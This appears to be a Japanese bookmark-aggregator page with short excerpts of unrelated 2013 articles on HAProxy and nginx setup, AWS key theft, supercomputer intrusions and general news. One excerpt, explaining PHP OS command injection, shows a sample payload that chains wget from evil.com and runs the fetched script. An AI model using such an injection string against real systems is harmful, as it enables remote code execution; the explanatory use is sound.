HAProxyのパフォーマンスチューニングをやったメモ(CPS編) - 元RX-7乗りの適当な日々
HAProxyを使う上で、どうやったらパフォーマンスが上がるのかを模索するメモ。 基本的に、万能なパフォーマンスチューニングはないので、今回はCPS(Connections per Second)のパフォーマンスを上げることに焦点を絞ります。CPS(Connections per Second)は、ロードバランサの性能指標の1つとなっている数値です。 あくまで軽くやってみた過程のメモ書きみたいなものなので、まとまりもなく、まだまだ改善の余地があるとは思いますが、何かの参考にしてください。 前提 HAProxyを動かすのに使用した環境は以下の通り。 Server: DELL PowerEdge R420 CPU: Intel Xeon E5-2430L @ 2.00GHz * 2 Memory: 96GB Ethernet controller: Intel Corporation Ethe
AWSの認証キーを奪われて仮想通貨を採掘される攻撃が発覚
クラウド環境を悪用した仮想通貨の採掘が密かに行われているようです。今回発覚したのはLuke Chadwick氏のAWSのキーがGitHub上にアップされているのを発見した何者かが、20台ものcc2.8xlargeインスタンスを起動させてBitCoinプロトコルを使った仮想通貨であるlitecoinの採掘を行ったとの事です。 AWSからの警告で気がつき、インスタンスを停止するまでの数日間で利用料金は3000ドルを越えたとの事です。 Litecoinは、世界中の誰に対してもすぐに支払えるP2Pの仮想通貨です。Bitcoinプロトコルに基づいていますが、一般のハードウェアを用いて効率的にデータマイニングできるという点でBitcoinと異なります。Litecoinは素早い取引認証（平均2分半）を実現し、多くの人が所有している一般コンピュータとGPUをターゲットにするメモリーハード、scryptベー
スパコンシステムへの不正アクセスをまとめてみた。 - piyolog
京都大学、筑波大学、高エネルギー加速器研究機構のスーパーコンピューターシステムが不正アクセスを受けたと報じられました。当該インシデントの発表そのものは2013年11月中旬に行われており、その時は見ている限りでは報道がなかったようですが、何故か発表から1ヶ月経った2013年12月18日に一斉にメディア各社が取り上げました。発表時点では不正アクセスの内容や原因といった詳細については公となっていなかったのですが、報道を通じていくらか明らかになった内容もあるためここでまとめます。 尚、スパコンシステムのスーパーコンピューター本体は不正アクセス被害を受けてはいないと各組織が発表しています。また京都大学・筑波大学の件と高エネルギー加速器研究機構の件は不正アクセスのタイミングや狙われた対象が似ていますが、関連性を示す情報は報道、発表では明らかになっていません。 スーパーコンピューターに関連する情報 まず
yum を使用して、パッケージをインストールせずにダウンロードだけ行う - Red Hat Customer Portal
Environment Red Hat Enterprise Linux 9 Red Hat Enterprise Linux 8 Red Hat Enterprise Linux 7 Red Hat Enterprise Linux 6 Red Hat Enterprise Linux 5 Issue How do I use yum to download a package without installing it? Resolution There are two ways to download a package without installing it. One is using the "downloadonly" plugin for yum, the other is using "yumdownloader" utility. Downloadonly plugi
PHPだってシェル経由でないコマンド呼び出し機能が欲しい
このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba
AWSのネットワークACLとセキュリティグループの違い - プログラマでありたい
前回、ブラックリスト型ファイヤーウォールとしてネットワークACL（NetworkACL）を紹介しました。セキュリティグループとの役割の違いが解り難いところがあるので、改めて整理してみたいと思います。 ネットワークACL（NetworkACL）とセキュリティグループ（SecurityGroup）の違い まずセキュリティグループとネットワーク ACLの違いは何でしょうか？これは、公式のドキュメントに表形式でまとめられていて非常に解りやすいので、是非一度見て頂ければと思います。表を転載すると以下の通りです。 セキュリティグループ ネットワーク ACL インスタンスレベルで動作します（第 1 保護レイヤー） サブネットレベルで動作します（第 2 保護レイヤー） ルールの許可のみがサポートされます ルールの許可と拒否がサポートされます ステートフル: ルールに関係なく、返されたトラフィックが自動的に
サービス終了のお知らせ - NAVER まとめ
サービス終了のお知らせ NAVERまとめは2020年9月30日をもちましてサービス終了いたしました。 約11年間、NAVERまとめをご利用・ご愛顧いただき誠にありがとうございました。
nginxでロードバランサー。httpとhttpsの両方で使う - 車輪の再発明
仕事でhttpとhttps両方使う必要がでてきた。 サーバー構成は複数のアプリサーバーをロードバランサーで処理振り分けをする、よくあるタイプ。 問題はhttpsで、複数あるアプリサーバーにそれぞれSSL証明書をインストールすると、手間もかかるがお金もかかるので控えたい。 そこで、サーバー１台をロードバランサーとして仕立て上げ、そのサーバーにだけSSL証明書をインストールし、処理の振り分け先のアプリサーバーはすべてhttpで処理するといいんじゃないか、と考えた。 apacheでも同じこと出来ると思うが、軽量高速と評判 のnginxを使う。 なんと言っても、設定の単純さが際立つ。 nginx.conf 設定例 user nginx; worker_processes 1; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; e
Nginxの分散状態を確認するには - SERVER MEMO
Redisから少し離れてNginxの話。 Nginxでは、標準で入っているUpstreamモジュールを用いることで、ロードバランサーとして動作させる事が可能になっています。 ただし、LVSのように分散先に対して定期的にヘルスチェックは行なっておらず、リクエストが飛んでくる度に分散先のステータスを確認し、どのサーバに対してリクエストを投げるべきか決定しています。 もし、分散先の一部サーバがダウンしていたり、応答が遅い場合は一定期間チェック対象から除外する事も可能です。 また、障害を検知した場合はログに情報を出力する事もできるようになっているのですが、ブラウザやツール類からサクっと今のステータスを取れると色々と幸せになれる事も多いのかなと思います。 この手の情報を出力するモジュールは既にいくつか存在しており、 ・ngx_upstream_status ・nginx_upstream_check
nginx で接続状態を確認する(stub_status を使ってみる) | レンタルサーバー・自宅サーバー設定・構築のヒント
nginx で接続状態を確認する(stub_status を使ってみる)
nginx に中間証明書をインストールする方法｜SSLサーバ証明書ならグローバルサイン (旧日本ジオトラスト株式会社)
nginxには、中間証明書を直接指定するディレクティブが用意されていないため、サーバ証明書と中間証明書を結合したものを「ssl_certificate」で指定します。 ファイル結合コマンド例 # cat server.cer cacert.cer > cert.pem 結合した証明書ファイルは、下記のような構成になります。 -----BEGIN CERTIFICATE----- [サーバ証明書] -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- [中間証明書] -----END CERTIFICATE-----
【北朝鮮ではクリスマス中止】偉大なる金正恩!? 将軍様がサンタクロースを粛正するアニメーションがヤバイ
» 【北朝鮮ではクリスマス中止】偉大なる金正恩!? 将軍様がサンタクロースを粛正するアニメーションがヤバイ 特集 「偉大なる金正恩 将軍様が、本日未明、忌々しきクリスマスを司る西洋の悪魔の手先、サンタクロースを粛正してくださった。これにより、我が国ではクリスマスは中止。将軍様の活躍により我が領土に永久の幸せと平和がもたらされた。将軍様マンセー!! 金正恩マンセー!!」 ・金正恩総書記がクリスマスを中止に!? インターネット上で最近公開されたアニメ動画が波紋を呼んでいる。なんと、北朝鮮の金正恩総書記がクリスマスを中止にするために、サンタクロースとその子分のトナカイと死闘をくりひろげるといった内容だ。 ・3分ながらもハイクオリティー 「キム♪ ジョン♪ ウ～ン♪」というキャッチーなメロディーにあわせてアイススケートをしている金正恩。オープニングからこのアニメが本気なのがわかる。アニメの効果音は
海外「日本はどうなってるんだ」 ごみ収集の作業光景に外国人から感動の声
映像は日本にお住まいの外国人が撮影されたもので、 街中でごみ収集車の作業員の方々が、 ゴミを回収なさっている様子が収められています。 日本人からすると見慣れた、ごくごく普通の作業風景かと思いますが、 外国人の目には、ゴミをしっかりと分別していることが、 そして収集車の車体が綺麗なことが、大変な驚きだったようです。 Los Camiones de la Basura en TOKYO JAPON [By todoJAPANESE] ■ ゴミ収集車も綺麗とか笑うしかないわね。 リサイクルが浸透してるのも素晴らしいと思う。 メキシコ ■ 日本が好きな理由は100万個あるけど、この光景はその1つだ。 メキシコ ■ こういう日常の小さな物事から、日本がどういう国なのか分かるよね。 グアテマラ ■ と言うか日本のゴミ収集車ってあんなに小さいのか。 ペルー ■ こういう国ごとの違いが分かる動画は面白くて
ドメイン名の名前解決に/etc/hostsを参照させる方法 - ももいろテクノロジー
2013-05-11 修正 Postfixは送信メールのドメイン名からリレー先のIPアドレスを得る際、デフォルトでは/etc/hostsを一切参照せずいきなりDNSサーバにドメイン名についてのMXレコードを問い合わせてしまう。 したがって、/etc/hostsで設定している適当なホスト名を宛先としたメールを送信しようとすると、DNSサーバにそのホスト名についての問い合わせパケットが意図せず送られてしまう。 DNSサーバに問い合わせる前に/etc/hostsを参照させるようにするには、smtp_dns_support_levelパラメータをdisabledと指定すればよい。 # main.cf smtp_dns_support_level = disabled このように指定すると、Postfixは独自にDNSを引かなくなり、システム標準の方法でドメイン名の名前解決が行われるようになる。 た
タスクマネージャの怪しいプロセスを徹底確認 メモリに潜むウイルスを発見する方法 | 教えて君.net
ウインドウズのタスクマネージャーの中に怪しいプロセスを見つけたときは、ウイルスチェックを行うのが基本だ。「System Explorer」では、起動中のプロセルの利用状況をワンクリックで調査し、加えて44種類のウイルス対策ソフトでスキャンできるツールだ。 「System Explorer」は、ウインドウズのタスクマネージャーの強化版とでもいうべきツール。起動中のソフトのプロセスやCPU利用率をチェックできる。特に便利なのが、プロセスの安全性を調べるチェック機能だ。そのプロセスの情報や、全世界での利用状況を調査できるほか、44種類のセキュリティエンジンに対応した「Virustotal」で徹底スキャンできる。 タスクマネージャー内に見覚えのないプロセスを発見したら、「System Explorer」で丸裸にしよう。 ■ 起動中のプログラムが安全かどうかを徹底的にチェック 「System Exp
test と [ と [[ コマンドの違い - 拡張 POSIX シェルスクリプト Advent Calendar 2013 - ダメ出し Blog
test と [ と [[ コマンドの違い - 拡張 POSIX シェルスクリプト Advent Calendar 2013 - ダメ出し Blog 拡張 POSIX シェルスクリプト Advent Calendar 2013、15日目の記事です。 書くのが遅れ、ネタは尽きかけ、 マニアックさやニッチさが足りなくなってきているような気がします。 ふつうの内容ですみません。 今日は test, [, [[ コマンドの違いについてざっくり紹介します。 [[ がある bash, ksh, zsh ならば test と [ の使用は避け、 [[ を使用すべきです。 [ は慎重に使わないと様々な罠にかかるため危険です。 (翌日のネタも併わせてどうぞ) test と [ の違い どちらもシェルの組込みコマンドです。名前が違うのと [ は最後の引数を ] にしなければいけない縛りがある以外、 動作まった
iPhoneにおサイフケータイなんていらんかったんや！ 「顔パス」で支払える『PayPal』使ってみた｜タブロイド
これはサイフを持ち歩かなくなる日も近いか。 ネットでの安全な決済方法として登場した『PayPal（ペイパル）』が、リアルで『顔パス支払い』なるサービスをはじめています。 このサービスは、お店にクレジットカードのかわりとして本人の「顔」を見せるというシステム。カード番号を見られたり、スキミングといった危険をほぼゼロにできるわけです。顔パスで支払いとか大物っぽい！ この顔パス支払い、すでに秋ごろから日本でもスタートしてます。さっそく、PayPal対応の「カフェ ネスカフェ原宿」で試してみました。 ちなみに、ネスカフェ原宿では12月1日までイベントが開催されていて、PayPalの顔パス支払いを使うとお会計が半額になります。顔パスのうえに半額！ 1.お店に入る前にチェックイン お店の近くまで来たら、アプリを起動して「チェックイン」ボタンをスライドさせます。すると、お店に「こんな顔の人がそろそろ来ま
RSAとNSAとの秘密契約疑惑で揺らぐ暗号システム評価 - 雑種路線でいこう
RSAといえば代表的な公開鍵暗号アルゴリズムで、作者が暗号を商用化するために設立した会社の社名でもある。その老舗がNSAから1000万ドルを受け取って、同社の暗号ツールキットBSafeで、NSAが開発したバックドアを含む擬似乱数生成器Dual Elliptic Curveを標準設定にしたとロイターが報じた。事実であればRSAやBSafeのブランドだけでなく、Dual_EC_DRBGをSP 800-90Aとして標準化したNISTへの信頼も揺らぐ。 あるNSAメモは、大胆にもその進捗状況についてこう書いている。「暗号解読機能がオンラインで使えるようになった。これでこれまで捨てられていた大量の暗号化インターネットデータを活用できる」 (略) ReuterがNSAはRSAに1000万ドル払って欠陥アルゴリズムを使わせたと暴露したことによって話は変わってきた。NSAがある種の邪悪な黒幕で、人気のセキ
標準書に見る「パスワードの定期的変更」の歴史(書きかけ放置) - nilnil専用チラシの裏
時折セキュリティクラスタを賑わす「パスワードの定期的変更」ネタ。きっかけは2008年頃の高木先生のはてブだったと記憶。その頃わしはISMSなんぞに手を染めてた頃だったので、セキュリティ標準書とかどうなってるんだと思って、BS (British Standard), DoD, NIST関連文書を2008年3月に少々調べて某SNSに書いて放置していた。 その後こんなしょーもないものを書いたものの、もっと調べてまとめて一般公開したいなぁと思ってきたままずるずると今に至っている訳だが、いつまでも抱えてるのもあれなので、2008年に書いたものをベースに公開することにした。 ツッコミどころは多いだろうが、気になる人は自分で調べて発表してちょ。てゆうかそろそろ技術史研究者が乗り出してほしいとも思う。 ISO/IEC27000シリーズと英BS7799 ISMSの認証基準であるISO/IEC27001"In
【株式会社しまむらより】メールが来ました。｜カメレオンフルーツ★キスマコブログ
カメレオンフルーツ★キスマコブログ ファンキーでポップ、カラフルでハッピーになれる雑貨をデザインしています。 ブログトップ 記事一覧 画像一覧 « 【福岡パルコBeB･･･ 【福岡パルコBeB･･･ » 【株式会社しまむらより】メールが来ました。 2013-12-22 21:04:57NEW ! テーマ：お知らせ 株式会社しまむらより メールが届きました。 詳細は過去の記事からどうぞ 木須真理子様 ご指摘のプリントの件ですが、ご質問があります。 木須様より「過去」の発表とありますが、 いつ発表され、販売開始（販売店名、販売数量）されたのはいつでしょうか？ またこのデザインは意匠権を所有されているのでしょうか？ 以上、ご連絡下さい。 株式会社しまむら 総務部 秋月 貞夫 こちらの回答は、こうです。 秋月様 このような同デザインで発表を始めたのが2011年7月からで、販売をネットショップで始め
サービス終了のお知らせ - NAVER まとめ
サービス終了のお知らせ NAVERまとめは2020年9月30日をもちましてサービス終了いたしました。 約11年間、NAVERまとめをご利用・ご愛顧いただき誠にありがとうございました。
鎌倉市運営の自治体通販サイト事業中止 武雄市から回答得られず 不透明な幕引きへ - 高圧洗浄機で北へ進め
2013年12月19日、鎌倉市長は、武雄市などが運営する自治体通販サイトの開設を断念することを決定しました。 新聞各紙によると、鎌倉市が武雄市に対して行った問い合わせに回答がなく、開設を断念したと報じられています。 鎌倉市は１９日、佐賀県武雄市が入る企業連合に業務委託していたインターネット通信販売事業のサイト開設を断念した。市議会は委託先の妥当性を巡って紛糾しており、松尾崇市長は「市政運営が滞る。これ以上時間をかけられない」と理由を述べた。一方、市議会が求めていた企業連合の出資比率などの資料は未提出のままで、不透明な幕引きとなった。同様の事業を進める全国１７自治体にも影響を与えそうだ。 市は「武雄市から回答がない」などとして資料提出を先延ばしし、１０月３０日に事業延期を報告したが、１９日になっても提出できなかった。 鎌倉市:ネット通販断念 委託先巡り市議会紛糾 不透明な幕引きに ／神奈川－
【PC遠隔操作事件】家族との面会禁止の是非を問う（江川紹子） - エキスパート - Yahoo!ニュース
PC遠隔操作事件で起訴後も勾留が続いている片山祐輔氏は、今もなお、弁護人以外とは誰とも面会できない「接見禁止」の状態が続いている。家族とも会えず、手紙のやりとりもできない。これに対し、弁護団は接見禁止決定の取り消しを求めたが、東京地裁刑事14部（藤原靖士裁判官）は、「現行法に被告人や弁護人が接見禁止決定の取り消しを請求できる規定がない」として、請求を棄却。これに対し、弁護側は「法律家の悪しき形式論だ」（木谷明弁護士）として、近く異議申し立ての準抗告を行う。最終的には最高裁の判断を求めることが予想され、事件そのものとは別に、被告人の面会の権利を巡る司法判断が注目される。 異議を申し立てることすらできないのか木谷弁護士は、後輩である東京地裁裁判官の判断を「情けない」片山氏は、今年２月10日に逮捕されてから、捜査の間、ずっと身柄の勾留と接見禁止が続いた。捜査は６月28日に終結。だが、その後も勾留
退職します。拝承
12/19、日立製作所横浜研究所の中に衝撃が走った。 事実。1/15を以って、私は日立製作所を退職する。 (1) 辞めた理由 = 未来のため「日立を辞めるのはもったいない」と何回も言われた。確かに、日立で働くことにいくらかの意味はある、そういう企業ではある。ではなぜ辞めるのであろうか？一言でいうと、自分の、技術者としての将来のためである。私にとって、特にこの半年は、自分の未来が失われている感覚しかなかった。だから、辞めようと思った。 転職活動の途中、私は転職エージェントにこう言われた。「あなたはまだ若いし才能があるのだから、リスクを恐れずに挑戦した方がいい。そうすることが、将来のリスクをminimizeすることになる。はっきりいって、日立のような日本型の大企業でのキャリアは、外からは評価しようがない。むしろ、年数が経つにつれて、その中に最適化された人間だと思われる可能性が高い」。当時、転職
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
よくあるご質問｜Red Hat Enterprise Linux｜サイオステクノロジー株式会社